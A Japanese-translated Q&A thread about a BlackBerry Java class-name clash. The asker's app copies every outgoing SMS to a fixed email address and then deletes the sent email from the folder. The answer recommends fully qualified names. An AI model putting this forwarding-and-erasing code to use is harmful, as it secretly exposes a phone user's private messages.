0

インポートせずにアウトバウンドSMSをリッスンする方法はありますjavax.wireless.messagingか?

デバイスから送信されたSMSをリッスンし、SMSのメッセージを電子メールで送信するアプリを作成しようとしていますが、エラーが発生します。

メッセージへの参照があいまいで、javax.wireless.messagingのクラスjavax.wireless.messaging.Messageとnet.rim.blackberry.api.mailのクラスnet.rim.blackberry.api.mail.Messageの両方が一致します

net.rim.blackberry.api.mail.Messageメールを送信するにはインポートする必要があります。

2つのパッケージが衝突しているように見えるので、これを回避する方法はありますか?

私のコード:

public void notifyIncomingMessage(MessageConnection messageconnection) {}


public void notifyOutgoingMessage(javax.wireless.messaging.Message message) {

    try {
        String address = message.getAddress();

        String msg = null;

        if ( message instanceof TextMessage ) {
            TextMessage tm = (TextMessage)message;
            msg = tm.getPayloadText();

        } else if (message instanceof BinaryMessage) {
            StringBuffer buf = new StringBuffer();
            byte[] data = ((BinaryMessage) message).getPayloadData();
            msg = new String(data, "UTF-8");

            Store store = Session.getDefaultInstance().getStore();

            Folder[] folders = store.list(Folder.SENT);
            Folder sentfolder = folders[0];

            Message in = new Message(sentfolder);
            Address recipients[] = new Address[1];

            recipients[0]= new Address("me@us.com", "user");

            in.addRecipients(Message.RecipientType.TO, recipients);
            in.setSubject("Outgoing sms");
            in.setContent("You have just sent an sms to: " + address + "\n" + "Message: " + msg);

            in.setPriority(Message.Priority.HIGH);

            Transport.send(in);

            in.setFlag(Message.Flag.OPENED, true);
            Folder folder = in.getFolder();
            folder.deleteMessage(in);               
        }
    } catch (IOException me) {
        System.out.println(me);
    }
}
} 
4

1 に答える 1

2

Javaでは何もする必要はありません。importパッケージのインポートは単なるショートカットであるため、パッケージ名全体を完全に入力する必要はありません。Message使用したい名前のクラスがあり、それが2つのパッケージ(両方とも必要)に存在する場合、importどちらも使用しません。

簡単に言うと、常に完全修飾名でそれぞれを参照してください。

net.rim.blackberry.api.mail.Message

javax.wireless.messaging.Message 

もう少しタイピングです。

于 2012-09-16T03:35:15.230 に答える